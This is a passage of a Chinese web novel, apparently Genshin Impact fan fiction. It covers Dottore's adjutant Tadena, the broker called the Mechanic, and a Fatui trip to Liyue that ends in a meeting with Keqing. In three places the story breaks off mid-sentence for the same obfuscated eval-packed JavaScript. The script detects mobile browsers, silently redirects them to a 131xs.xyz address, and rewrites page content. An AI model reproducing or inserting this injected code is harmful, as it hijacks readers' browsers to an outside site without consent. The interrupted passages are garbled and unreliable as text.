因此大多数执行官不会生出要与之亲近的想法。当然,这并不是所有的原因,更重要的还有一点,那就是【博士】的席位太高,实力也难以捉摸。 比起和这位危险到不行的执行官直接交谈,各位执行官们更喜欢与【博士】身边的副官,那名叫“塔德纳”的青年共事。 虽然外表看起来还是颇为年轻的青年,但据说是跟随【博士】来到至冬,也因此平日只听从【博士】的命令。 执行官们对塔德纳的印象大都是“才华虽然不算不俗,却相当地具有‘正常人’的气息”。考虑到身为【博士】的副官,这样的特质实在难得。 移交【博士】的文件和相关通知事宜,即使是只有执行官才能知道的保密性文件,也可以直接和副官塔德纳对接。至于需要【博士】完成然后交回的任务或者文件,执行官们则更需要塔德纳的帮助。 “这次任务的文件,拜托你交给【博士】了。统括官大人说过了,要在下周前完成。” 名为“塔德纳”的青年露出一点为难的犹豫神色。 “大人,这份文件按照常规流程您或许应该亲自与主人沟通商议会比较好……” “如果按照正常的流程的话,【博士】会一拖再拖,只在最终截止日期前面稍稍一点点才完成的,那家伙,一向是忙起自己的实验来谁都不给面子。按照【博士】的席位自然不会被找麻烦,但我可不是【博士】。” 年轻且资历尚浅的新任执行官仿若手中的东西是烫手山芋一样急忙忙塞给塔德纳。 “拜托了,是你的话,只要跟【博士】说一声就好了。我等你的好消息哦。” 总之,虽然没有被新上任的执行官当作可以任意欺压命令的普通愚人众下属,但依然被扔了一个巨大的烂摊子。 塔德纳看着手中被牢牢封密在文件袋中的东西,有些头疼。 虽然头疼,但活计既然已经接了,塔德纳便不得不强迫自己把文件亲手交给多托雷,并告诉多托雷这份文件的任务需要尽快完成。 万幸,尽管回到住处时已经很晚,就连洗完澡后都要再坐在单人椅上再看一会儿最近正忙的实验的实验报告,在塔德纳呈上这份文件的时候,多托雷顺手接过并“嗯”了一声。 “我知道了。告诉那位新同僚,我会抽时间完成的。” 经历了高强度的一日工作的多托雷看不出来任何疲惫的迹象,塔德纳偶尔都会羡慕多托雷这样充沛的精力和热情。 当然,还有更多。 看多托雷不顺眼的斯卡拉姆奇是实验室的常客,三天两头总会有要紧的事要闯进来,甚至有时打扰一场重要的实验。 “斯卡拉姆奇,没人教过你进门之前要先询问里面的人是否方便吗?” “哈?我怎么知道你在做实验……啧,不是你让我从深渊回来后需要维修的话可以随时找你的吗?” “‘随时’只是一个客气的说法,很显然。” “所以,你是在逗我?!” “等等,等等。”命苦的塔德纳不得不在这种尴尬的地方站出来。他还不想看见两位执行官大打出手的场面,特别是另一方是斯卡拉姆奇的情况下。 尽管多托雷很少会主动出手,但斯卡拉姆奇并不是一个沉得住气的人。而多托雷又恰好是一个说话很惹人生气的家伙。 “斯卡拉姆奇大人,您先请消消气,主人并不是那个意思,我想这之中应该是出现了一点偏差,今天的实验是临时新加的一场,是我忘了您最近可能会到临的事情,以至于发生这样的差错。” “这种理由……你只是在为这个家伙背锅吧!” “怎么会……” 塔德纳用尽了全身解数才勉强让斯卡拉姆奇冷静下来,而另一边,早已被叫停的实验,其他人在刚刚的混乱中由我抽空打发了出去,而现在,只剩下多托雷百无聊赖地观察着手中的试管。 “主人,我刚刚查看了一下您最近的行程,今天的实验其实也并不算准备完善,过程也不是特别顺利,不如将今日的实验换到明天,也好留一点时间做足准备再开始。” 多托雷看向青年:“你是在袒护斯卡拉姆奇?” 人偶飞速转头,刚刚平息一点的怒火又有重燃的趋势:“哈?你在说谁袒护谁?!” 多托雷:“哦?你在生什么气?塔德纳在此场矛盾中对你的偏向明显到即使闭上一只眼睛也能够看的一清二楚的程度,连我都要羡慕了。”他摆摆手,“那么,你又有什么凭据在此如此怒火中烧?” “你?!”人偶的脸色越来越黑。 塔德纳:“……” 这两个人,怎么突然就吵到他更偏袒谁的问题上了啊?!完全不对吧! 如这般让塔德纳如此两难的情况大多数发生在斯卡拉姆奇与多托雷同时出现的时候,或许还要算上斯卡拉姆奇和【女士】同时出现的时候。 来自稻妻的人偶对所有人都保持着最恶劣的猜测,无法信任,自然也没有好声好气交流的必要。 一群蠢货。 人偶如此观望身边的人。而对于总是会把自己陷入两难境地的青年,人偶只会冷笑着骂一句“蠢货中的蠢货”。 塔德纳确实怯懦且愚笨,他甚至下定不了决心拒绝那些本应该直接交给多托雷却被交给他让他来转交的那些来自执行官的请求。 无论如何,毕竟是执行官…… 但无休止地被塞入这样的任务,结果就是某天塔德纳回家推开门时听到了来自多托雷的一句低语。 “怎么感觉这个月的工作量多了好多。” 能不多吗?毕竟在塔德纳回来继续担任副官之前,多托雷都是看心情决定何时给出回复。 除非是来自女皇或者【丑角】的任务,多托雷会比较用心。 塔德纳有些胆战心惊。他甚至不敢确定多托雷是不是故意把这句话说给他听的。但忐忑归忐忑,今日被塞过来的文件还是要交给多托雷的。 “主人。”塔德纳低着头走过去,不敢看多托雷的神色,“这是【富人】大人送来的文件,那位大人说了希望能够尽快收到结果。” 多托雷不语,如有实质的目光落在青年乖训的身上。 多托雷微笑:“塔德纳,就算是我也是需要休息的。” “啊,这样吗……抱歉,我马上去找【富人】大人改一下。”塔德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582359|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳有些慌张。 “算了。”多托雷伸手轻而易举地拉住准备离开的青年的手腕。 “现在已经很晚了,你准备去哪里找他?” 多托雷叹了口气,竟然无端真的觉察一点疲累出来。 “以后不要再全部的文件都拿给我了,你可以拒收,一些微不足道的小事也交由你拿决定,那些文件你都可以先看一遍再决定是否要交给我来解决。” “是,主人。” 塔德纳是多托雷的代言人,是多托雷部分权柄的代行者。而这所谓的“部分”究竟有多部分则要看多托雷对这位副官的信任程度了。至少目前看来,即使是与一些执行官相比,塔德纳的权限也足够大。 不过,即使有塔德纳帮忙解决大部分的事情,但仍有一些需要多托雷亲自出面才能完成的事情。而那些事情,如果当真紧急,塔德纳会将薄薄的文件悄悄塞进多托雷第二日要看的报告之中,而察觉到这种事情的多托雷也只能在心里叹口气,无奈地抽出那页文件然后找时间尽快完成上面的事儿。 毕竟,如果好几日都没有消息的话,他这位胆子有些过于怯懦的副官就会开始变得惴惴不安,怀疑那份文件是否如预期所料的那般已被看见。 过于胆小的塔德纳,无法拒绝他人的塔德纳。 多托雷总是因为这样的塔德纳感到一点烦躁,甚至是疲累。 是了,疲累。 即使身体再如何被改造,灵魂也依旧是人类的模样,切片的技术延缓了灵魂上的压力,但却并未解决根本的问题。 多托雷其实很少会有安眠的时候。尽管在每个夜晚将青年拥入怀中,也只能清醒地感受到青年在怀中陷入安然的睡眠,呼吸逐渐放缓,信赖地贴近他的胸口。然后在一夜无眠中静待天际泛上死灰的白。 日复一日。 漫长地生命令人歆羡,却也是致人疯狂的毒药,对普通人而言尤甚,也唯有在被繁重的记忆和灵魂的压力折磨地不能入眠的时候,多托雷才会想起来自己其实还并未脱离“人类”的范畴。 多托雷曾发现塔德纳身上的能量在保护他的精神状态,他很欣羡那样的能量,想要复制却无一次成功。而后来,他发现,即使是那样神秘的能量也只是延缓了痛苦的到来而已。 人总是要为脑袋里的东西赎罪的。多托雷如此劝说自己。 而他灵魂所经受的痛苦大抵也属于这一门类。 在许多次被记忆的洪流冲翻载乘意识的船只的时候,因为有“船锚”的存在,所以并不至于被卷入疯狂的浪潮。 塔德纳是他的“船锚”。 多托雷如此认识到,尽管他无法确定船和船锚究竟谁会先一步锈蚀腐烂,但至少此刻,他感受到锁链链接的一点安心。 “啊,【丑角】。” “多托雷。找我是有什么事儿吗?” “当然,一件小事,我准备也一起去一趟稻妻,带塔德纳一起。” 【丑角】:“……我记得,稻妻的神之心的任务已经交给了罗莎琳和斯卡拉姆奇去完成,稻妻虽然局势混乱,但两位执行官的力量已完全足以完成任务。我希望知道你要去稻妻的理由。” “我对稻妻的任务不感兴趣。原本打算在稻妻亲自验收邪眼的实验数据,但之前在蒙德进行的实验收集到的数据已然足够。如此,理由便只剩下一个:塔德纳想去稻妻度假。” 【丑角】:“……” 多托雷思索:“最近应该没有非我不可的任务,我记得。塔德纳并不是善于表达自己诉求的人,我也很意外这一次竟然会从塔德纳那里听到‘想要去稻妻’这样的话,虽然从他的肢体动作和表情来看,‘说出自己的请求’对他而言相当折磨。这样的话,抽时间专门陪同塔德纳去一趟稻妻似乎也成了需要尽量完成的事情。” 【丑角】沉默。 【丑角】组织语言:“你随意就行,不用专门跟我说这些。” 124.第 124 章 北大陆一个有名的地下情报组织,汇集因为仇恨而选择隐姓埋名之人,所有的情报汇集于此,所有的黑暗交汇于此,而机械师,我初次见到他时,是一次私人的任务委托。 即使同是北大陆的组织,这个神秘的存在也并不会想要和代表至冬官方和一切秘密来源的愚人众对立,有的时候,即使只是扯上关系也并不被允许。 我花了一番功夫隐藏自己的身份,又搞到一份邀请函,在领路人的带领下,我见到了当时的机械师。 一个年纪不大的小屁孩儿,坐在木制的轮椅上,全身上下缠满了绷带,连眼睛的部位都没有丝毫的缝隙。我看到那绷带下平整的轮廓,意识到眼前的人丧失了眼球。 一个失去眼球的病怏怏的小孩子,气息阴沉沉的。而在小孩子的肩膀上站立着一只机械鸟,看起来年代颇久,甚至不确定是否还能运行。 玩偶?还是其他的东西? 机械鸟拍拍翅膀,发出锈迹斑驳的嘎吱声。 “你就是此次的交易对象吧。”机械的,冷漠且扭曲的声音从开合的鸟嘴里发出。 我下意识看了一眼少年的嘴的部位。没有动作的迹象。 少年似乎也察觉到了我的视线,头微微抬起。 这个动作在我的方向看来实在是有些惊悚,被绷带过度包裹的全身让坐在轮椅上的少年抬头看来时像是塞入裹尸袋的尸体突然复活跳起来一样。 当然,我所比喻的那个情况也并非没有在实际中遇见过就是了。 “老大不是说来的人是高级邀请函持有者吗?怎么看起来像是个新手。交易的规矩还需要我来口述一遍才行吗,真麻烦。” 机械鸟发出的声音竟然带了一点不耐烦。 我回过神:“抱歉,只是稍微有点惊讶,没想到前来履行交易的竟然会是如此一位……” 我卡了一下,纠结地看了一眼少年,在脑海里搜刮了一会儿才勉强找到合适的形容词。 “少年有成的……呃,少年。” “……你这家伙,倒是出人意料地很会阴阳怪气呢。” 我不自在地扯了扯兜帽的边缘。 “算了,不和你计较。我看了你的委托要求,散播信息是吧?放心,口头间的东西没人会比我更在行。那么,在交易开始前先互相通报一下名号吧。我是‘机械师’,你呢?” “‘机械师’?”我看了一眼少年肩头的机械鸟:“因为你现在在操控的这只机械鸟?它是你的作品吗?” 机械师的气息变得稍微尖锐且疏远。 “答非所问。你想探求我的隐私?这可不在交易允许的范围内。即使你手上有邀请函,我也可以让老大把你丢出去。” 敏感的家伙。 “好吧。”我摊摊手,做出投降的样子,“我的冒犯,在此向你致以歉意。你叫我‘泰德勒’就行。说起来,你是受了什么伤吗?抱歉,我并非是想要探求你的隐私相关,只是有点担心你的身体状况,毕竟如果花了一大笔钱委托任务,结果却雇到一位重伤在身的人,那么我似乎不得不怀疑一下自己的委托是否能够完成吧?” 房间内的氛围突然变得有些凝重。 机械师沉默了很久。我听到属于少年的呼吸声稍微急促了一点,大概是被我的话气到了。 “老大不是说委托人都不会多事儿吗?啧。”机械的声音自言自语。 “那个谁……泰德勒是吧,真是个怪名字。交易的完成需要一点坦诚,这是老大告诉我的。我的身体确实不太好,因为一些事故……啧,到底为什么要让我想到这种事啊……” 机械的声音波动起来,像是随时要断开。 “算了,如果你不信任我的能力的话,我可以让老大换个人来完成你的委托。” 带着点自暴自弃的意味。 对过去和自身的残缺讳莫如深,据说这个情报组织的人都是因为仇恨而抛弃过去汇聚在此的,会是因为这个原因吗? 如此严重的残缺。就我目前能观察到的情况,恐怕失去的眼球并非天生的残缺,因为少年在对话时明显会有“抬头看人”这样的小动作,说明“无法视物”的情况并不是很早就出现的。而少年人的身体,骨架虽大,却瘦骨嶙峋,坐在轮椅上或许代表着少年不良于行。 若真是因为后天的原因和事故所造成,也实在凄惨。 我一边思索着,一边出声稳住机械师。 “并非不信任你,”我轻笑,“事先早有听闻贵组织出现了一位才华卓越、天资异禀的少年,只要是这片土地上发生的事情,就没有能逃过那位少年耳朵的。我的委托,除了此刻就在我面前的机械师先生外,恐怕再无人能够胜任了。” 机械师显然极为受用。 “你知道就好。”就连死板的机械声也带上了点得意,“把你要散播的那些东西拿给我吧,看在你勉强算识相的份上,我可以破例不收你‘孝敬费’。” 孝敬费,即对接委托后委托人单独支付给的款项,为了确保另一方能够竭尽全力,不会发生一些“意外”导致委托无法完全完成。说白了就是一笔“勒索”,有些接了委托的人甚至会狮子大开口,抱着“要狠狠咬委托人一口肉”的想法提出一个完全无法负担的数字,只不过组织家大业大,也无其他替代,很多时候委托人只能捏着鼻子认了或者直接取消委托。 当然,前期费用概不退换。 “那可要多谢你了,本来还担心会因为这笔钱破产呢。” “你再阴阳怪气地说话我就要改主意了。” “饶了我吧。”我从储物袋取出一份早些时候准备好的文件走过去,“喏,在这儿呢。啊,抱歉,忘了你似乎双手不太方便,需要我帮你举着看吗?” 机械师肩膀上的机械鸟跳起来,从我的手里把文件啄过去。 “不用。你的袋子,倒十分有趣,我从未见过那样的设计。” “别人送的礼物,确实挺好用的。”我微微一笑,思考着如何把这个话题轻描淡写地越过去。 “朋友?很用心,很独特的设计。如果是朋友的话你们之间关系应该很好吧。” 我有一瞬间大脑短路了。 “啊,算,算是吧。” “真好,我就没有这样的朋友,见过的人要么是坏人,要么是自私的疯子。” 我:“……” 那多托雷也很难说不是你后面形容的那些人之一。 好在机械师并没有再过多纠结这件事。我看见那啄着文件的鸟头眨了几下眼,保持着那样的姿势停滞了半分钟。 这期间无人出声。 “嘶……”机械鸟吐出嘴里的文件,“你的委托……愚人众的执行官第二席,以及那位执行官的副官,你要我帮你散播出去的信息竟然是和这两个人相关……哈……” 冰冷僵硬的机械声发出意义不明的哈声。我总觉得那其中又隐藏着更多的情绪,很复杂,像是震惊,又像是其他的情绪。混杂在一起,因为合成的电子音而有些难以辨别。 但总之并不算好。 我的心稍微提起来一点:“怎么,有问题?还是说,你不敢接?害怕愚人众?” “害怕?!谁害怕了?!”机械鸟愤怒地大张翅膀,就连轮椅上浑身包裹的少年也挪动了一分。 “我就没有会怕的人。但我可事先说明,你要招惹的人可都是硬茬子,到时候被发现了,一切后果可都要你自己承担,别到时候怪我没事先提醒你。” “哦?难道大名鼎鼎的机械师也无法保证能够让对方完全无法发现吗?” “你这家伙,到底有没有意识到你招惹的是谁啊……那可是【博士】,就算是我,以前也……算了,我已经仁至义尽了。委托我知道了,完成后会回信给你的。” 机械鸟安安静静地落回少年瘦弱得好像一张纸的肩膀。在昏暗中,木制的轮椅自发地启动,朝门外去。 直到快要完全离开门,少年才稍微停顿。 机械师头也没回:“你自求多福吧,别死了。” …… “你在看什么?” “在看一个少年当初背对着我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594902|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘你自求多福吧,别死了’实际上是在害羞的傲娇之路。” “……” 机械师沉默。他快走两步从我的身边走到我前面几步的位置,惨白的,又瘦又长的,像树枝一样关节分明的手先一步握上门把手。 “你在害羞吗?从小你就这样,一害羞就不说话。” “求求您住嘴吧,我的好大人。”青年叹了口气,推开门,站在门边伸手,很是无奈:“您上次把大麻烦引过来的事情我还没和您计较呢,幸好当时‘我’不在。” 我轻笑一声:“这么怕他?” “那可是传说中的愚人众执行官第二席。也只有您才不会怕那位大人了吧。” “不,我也是怕的哦。”我随意地回答着。 机械师再次陷入沉默。 从机械师的身边路过的时候,我驻足下来,很是仔细地观察了一番如今的机械师。 黑色的长发一直延伸到腰背,带着一点卷,眼睛的位置被完全笼罩进厚重的刘海里面,皮肤惨白,手脚也都瘦骨伶仃地瘦弱,风一吹就能吹走似的。青年的肩头站立着一只闭眼的机械鸟。 不过,这家伙长得也太高了吧。 我暗暗对比了一下自己和机械师的身高,发现这个瘦到穿衣服都像是罩在一个气球里的家伙竟然比自己要高一个头的高度。 真是让人不爽。尽管没有眼球的机械师并不会做出类似“俯视”的动作,但还是感觉到了不爽。 “你长得好高,时间过得真快啊,一晃你也长成大人了,倒让我有点怀念以前那个坐着轮椅的你了。” “您只是怀念我比您矮的那段时光吧。”机械师毫不留情地戳破,露出一口森白的尖锐鲨鱼牙。 “也没有小时候可爱。” “您对‘可爱’的概念是否出现了一点偏差?” “或许吧。但你现在都不会脸红了。”我遗憾地叹气,收回视线越过机械师走进黑暗的房间里。 机械师反手关上门,于是走廊的灯光被完全切断,室内陷入完全的黑暗。 他走进来,听到我的话似乎变得很无语。 “先不谈我哪里来的多余的气血脸红,以前我裹着那么多绷带,好大人,您到底是怎么看出来我的脸色变化的?” “当然是,感觉。”我将手放在自己的胸口。 “无论年龄如何改变,一些事情是不会随时间改变的。就像你的口是心非,以及,” 我坐到沙发上,抬头。 “你那抠门到连灯都不愿意开,一年365天有366天都处在黑暗之下的生存环境。讲真的,在这种环境下待久了不会得弱视吗?” “您又在说浑话了,我哪里来的眼睛弱视。” “我指你的机械鸟。” “……” 我听到脚步声离我越来越近。 “好大人,我们还是来谈谈其他的事情吧。您这次希望我替您办什么事儿?” “你这竟然都不生气?”我稍微有些惊奇:“你的脾气真是越变越好了。” 我听到机械师深吸了一口气,紧接着又深呼了一口气。 “好大人,就是有没有一种可能,我是说可能,我惹不起您呢?” “你说的可能确实可能存在。” 机械师:“……” “好吧,不逗你了。”机械师的反应让我笑了出来,“来谈正事吧,我需要你帮我查一个‘人’,一个特殊的‘人’。” “您的单子可一直都挺‘特殊’的。说说吧,您想要我查谁?是需要查那个人的信息,还是他的过往?” 机械师似乎往前倾了倾身,离我更近,因此我能闻到机械师身上常年浓重的药味,以及机械车间会有的溶剂的味道。 “都不是,只需要查那个‘人’的踪迹和现在的位置就行了。”我翘起腿。机械师离我远了点。 “我与你之间无须过多遮掩,许多消息自然也瞒不过你的视线。” “我要找的‘人’,是Theta切片。” 机械师愣住了。 125.第 125 章 “虽然一开始问你要不要一起去稻妻的时候就想过会不会出现这样的情况,但果然……”【女士】神色复杂地看着我,以及我身边的多托雷,语气幽幽。 “看到这一幕,还是会令人心情骤降啊。” 我僵硬地笑了两声。 谁知道多托雷这个家伙竟然宁愿放下自己的那些实验也要陪我一起去啊。 多托雷看上去倒是丝毫没有被正在吐槽的自觉。 “你看起来似乎并不想看见我?不过我只是因为塔德纳在此所以才出现在这里而已,你不必担心我会干扰你在稻妻的任务。” “谁说是担心你干扰任务……”【女士】的脸色扭曲了半分,“算了,看在塔德纳的份上。” “那看来,我也算是沾了塔德纳的光了。” 我:“?” 我见鬼地看向多托雷,多托雷也正看着我,微微俯视的角度,看不清表情,但嘴角的弧度却做不了假。 【女士】的表情抽搐了两分,似乎很想要立刻闭上自己的眼睛。 “我必须要事先告知,”她强撑着正常的语气,“如果和我一起出发的话,我们会在璃月先逗留一段时间。” “璃月?” 多托雷了然:“【公子】的任务?原来还没结束吗?前段时间才听说,从璃月寄回的账单有多笔由【公子】划走的大额款项,潘塔罗涅为此还准备好好问一问【公子】。” “坐拥整个北国银行的大老爷却连这点钱也要吝惜,呵。”【女士】冷笑,“【富人】也并非第一日如此便是了。不过我此行,是要去协助【公子】完成最后的工作。莽撞的水花就要淹没璃月港,下一步,就是整场戏剧最精彩的部分了。” 多托雷:“你说的是,岩神的神之心?” “没错。不知道【公子】那家伙,如果知道自己初进璃月为了接近摩拉克斯的先祖法蜕找到的往生堂的客卿就是岩神本人,会是如何表情。” 从多托雷和【女士】的身上弥散出同款的不友善的看乐子氛围。两个人相互“对视”一眼,在“嘲笑【公子】”的事情上达成了空前的一致并发出了刻薄的笑声。 我:“……” 【公子】大人,由衷为您不健全的同事关系感到悲哀。 在清点完士兵的人数后,随着一声汽笛的高昂鸣声,一艘巨大的轮船驶进港口,而在船的最高处,桅杆上飘扬着至冬和愚人众的旗帜。 岸边排列整齐的愚人众士兵在军官的领头下一遍又一遍地高声吟诵着歌颂女皇恩德的口号,一时间,整个港口都充斥着数万士兵整齐的口号声,这样震撼的一幕甚至吸引了不少普通的民众,他们无法进入港口,但都站在警戒线外同样高喊口号或是朝着女皇宫殿的方向注目行礼。 “走吧。”多托雷从我身边路过,看见我凝视的目光,“你对这个感兴趣?” 【女士】也看了一眼,兴致缺缺:“每回都有的老戏码罢了。既然是神明,又怎么可能被这种东西打动?” 我顿了一下:“只是觉得,至冬的民众似乎比我想得对战事更加积极。” “一直都如此。” 【女士】的表情很冷漠。至于多托雷,他自然也不可能对此有什么感触。愚人众的执行官们大都是因为自己的利益汇聚在至冬女皇麾下的,他们其中许多人都并不是忠于女皇之人。 恐怕,也只有达达利亚会把“为了女皇”这种话天天挂在嘴边吧。 不过,我似乎也并没有什么资格来评判这种事情,毕竟,即使是身在现场聆听如此摄人心魂的一幕也无法在我的心里激起任何的涟漪,之所以驻足,也只是单纯的“想驻足”而已。 我的内心冥冥有着一种预感,一种冲动,驱使着我,应验着我将要远离这片冻土。 这样的心焦直到船只驶离至冬的港口,四周渐渐只剩下无边无际的海洋后才渐渐平息。 经过几日的航行,船只缓缓停靠璃月港。愚人众作为使节进入璃月,自然收到的是璃月官方的迎接,此刻,虽然港口弥漫着不安和紧张的气息,但依然有璃月七星早早清退了百姓,由官方人员接待愚人众的来使。 而此刻接待我们一行人的,正是璃月七星的一人,玉衡星刻晴。 此行前往璃月,我和多托雷只能算是被【女士】捎带来的,所以与璃月七星交接这样的事情自然不会落在我的头上,倒也是难得的情况,我竟然也能有机会站在旁边看别的愚人众焦头烂额地同他国代表牵扯。 果然,只要麻烦的工作不会落在自己头上,心情都变得明朗轻快了。 “你的心情似乎颇为轻快,”多托雷的视线轻飘飘地落在我的身上,“看来你很喜欢这个国家?” 我抬头,与多托雷低头的目光稍微对上。或许真是因为此刻轻松愉悦的心情,连带着最近对多托雷含有的别扭的逃避的情感也轻了几分。 我因此又能从容地站立于多托雷身侧。 “大概吧。璃月与至冬的气候颇为不同,这里更加温暖,景色也更加明朗,更加开阔,而明朗开阔的景色总能带给人好的心情。” “那与须弥相比如何?” 多托雷仿若随口问道。 “须弥?”我的记忆驰骋,甚至没注意到多托雷紧咬在我身上的目光。 “我已经太久没回到过须弥了,仅有的几次,也不过是寥寥驻留几日。须弥总也是热的气候,但现在,我或许更喜欢此地的气候。” 多托雷闻言弯了弯嘴角:“喜欢的话,我们可在璃月多驻足一段时间。前往稻妻的行程不必心急,计划远还未到实施的时候。” 我诧异地看着多托雷。 多托雷笑道:“怎么露出如此讶异的表情?我的提议应当正合你此刻的心意才对。这一点,我很有把握。” “当然,我是说,我确实有‘想要在璃月多停留一段时间’的想法,但是,您的计划里应该会有一些重要的事情亟待完成吧?” 我其实并不太相信多托雷会因为“仅是想让我一直停留在他的视野里”这件事而无所事事地跟随于此。 多托雷理应有其他的打算,或是在璃月,或是在稻妻,总之,不可能只因为“我想去稻妻”这个理由就如此轻率地跟随而来。 多托雷凝视着我。我能感受到那犹如实质的视线,他似乎是在思考,思考我话语中的意思,思考我大脑中此刻运转的思想,思考该如何回复我。 “看来你对我或许存在一些谬误的理解,既然这样……” “两位,冒昧打扰一下。” 对话被突兀地打断,我看见那位似乎应是璃月派出的接待人员领头的女子朝着我和多托雷的方向走来。在女子的身边,是两位随行的文员。愚人众的对接人员也一同前来,那人紧张地对上我和多托雷两个人的眼睛,又惶恐地低下去。 “两位大人,这位璃月的刻晴小姐说最近璃月城并不太平,所以对进入璃月地界的人员都要挨个进行登记,两位大人……”愚人众的官员希冀地看着我,似乎是期盼我能够说些什么。 于是我稍稍从多托雷身后一点的位置走出来。 “久闻璃月七星之名,您应该就是七星的玉衡星,刻晴小姐了吧。”我露出完美符合礼节的笑容,“都说玉衡星大人年纪轻轻便担任重位,才华出众,仪貌非凡,如今一见果然所闻非虚。” 刻晴愣了一下,但很快反应过来。 “谬赞了。我确实就是刻晴,但恐怕承担不起如此称赞。我此行的目的刚才您这边的人已经说了,我们如今确实需要对各位一一进行登记,但您方的人员说需要请求上级的命令。” 刻晴未再继续往下讲,但意思已经很明确了。 我看向那位引人过来的愚人众的对接人员,想到自己的“假期”之中竟然还要工作就一阵头疼。 真是天生忙碌的命。 我叹气,对那个接待人员说:“这里的事先交给我吧,你先去找【女士】大人,将这件事告诉那位大人。【女士】大人还未下船,你应该知道她的房间吧?” “知道的,知道的,副官大人。”那名官员如蒙大赦地松了口气,“感谢您的付出,我马上就去。” 说着便飞快离开了。 刻晴锐利的眼光压过来,带着点若有所思。 但她笑起来,态度很友好:“麻烦诸位配合璃月这边的检查了。之前匆忙还未询问,不知阁下是?” 年轻的璃月七星,但很显然也并非是什么等闲之辈。我注意到刻晴打量多托雷的眼神,以及从她身上能感知到的蓬勃的雷元素力。 年轻的神之眼持有者。 我如此想着,回复:“我是愚人众的副官,叫我‘塔德纳’就行。而我身边的这位……” 我递过话头,多托雷从容地接上:“一位同行者,名不见经传的普通愚人众罢了。” “是吗?”刻晴怀疑地看着多托雷:“你的装扮,可实在算不上‘普通愚人众’。” “即便在愚人众也是有穿衣自由的,也不是每个人都要穿统一的衣服,就像是我身边的这位……”多托雷的视线划过我,“副官大人……一样。” 他的声音突然压得又低又沉,如同故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617097|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意说给我听一般,将“副官大人”那四个字慢慢地一遍又一遍地在舌间研磨。 我只觉得有一道电流从我的后颈一直顺着脊椎通到尾椎骨的地方,酥麻的感觉让我差点站不稳要当场来个平地摔。 事实也确实如此,但多托雷反应很快地抓住了我的胳膊没让我摔倒。 他一手抓着我的手臂,另一只手却借着衣服的遮掩搂在我的腰间,只隔薄薄一层衬衣。 多托雷离得我极近,那似笑非笑,带着明显逗弄的声音便也落在我的面上。 “小心点啊,副官大人,好端端地,怎么连站都站不稳了?” 我忍不住咽了口口水,后腰被明显地揉捏了一下,让我差点又被吓得当场跳起来。好在我反应惊人,才没有在这么多人面前做出这样失礼的行为。 但后腰的那块皮肉已经酥麻地快完全泄了力气,我狼狈地反抓着多托雷的手臂,努力维持着脸上平静的表情。 “抱歉,可能是在海上行驶多日,身体有所不适罢了。”我推开靠得过近的多托雷,不着声色地将那只搭在后腰的手也挣脱。 我看向刻晴:“让您见笑了。这位是我的同事,只不过平时喜欢比较,呃,夸张一点的衣服。对了,”我转移话题,“您刚才说想要一一登记身份对吧?我明白了,不如这样,您再稍等一段时间,容我将人召集齐全,然后由我们的人一齐收集后交给您方如何?当然,您如果不放心的话也可以在之后对比人数。” 我露出一点带有担心的表情:“毕竟,愚人众的士兵人数实在不算少,很多连字都不认识,恐怕会给您方带来许多麻烦,登记的时间也会拖得很久,但许多人在海上航行多日,恐怕如今也急需休息整顿的时间,想必您能理解的,对吧?” 我凝视进那双眼睛里。 那双争强好胜,锋芒尽显的眼睛里。 刻晴沉默着。很显然,我给出的提案并不符合她的预期。 但是…… “好吧,可以。”刻晴思考许久才点头:“但是,我们需要清点人数,包括各职级的人数。” “当然当然,璃月与至冬一直以来互通友好,愚人众代表至冬,自然也会配合友国的合理要求。” 璃月的神明如今对外宣称“已逝”,加上各方的动荡,即便是璃月七星,如今也不会和愚人众闹翻脸,偶尔的退让是必要的。 内乱已经够多,没必要再多添一笔外忧。 不过,这样的退让,等到璃月的局势安定下来,恐怕就不会再有了,毕竟从情报来看,璃月七星似乎在“岩神逝去”后便开始迅速地掌握各方的权利。 我看着刻晴妥协离去的背影,心中如此思忖着。 “你看起来很在意刚才的那个人?”多托雷的声音将我从思绪里拉出来。他一步贴近我,手掌贴合在我的后颈上,如此亲密。 “眼睛都快黏到别人身上了,她到底是哪里吸引了你……” 我被迫从思绪里脱出。 “您干什么……”我搭上后颈的手背,但却被多托雷握住手腕抬起到唇边。 多托雷亲吻着,又似乎是觉得不太够,便张开嘴,齿尖咬在我的手指上。 “嘶……”轻微的疼痛,我将手用力抽出来,也不收回,就那样伸直出去压着多托雷的脸侧远过去。 “您到底在想些什么?我只是在思考璃月七星的事情罢了。”或许是多托雷此刻不正常的纵容,我的心里竟浮现出一点怒气。 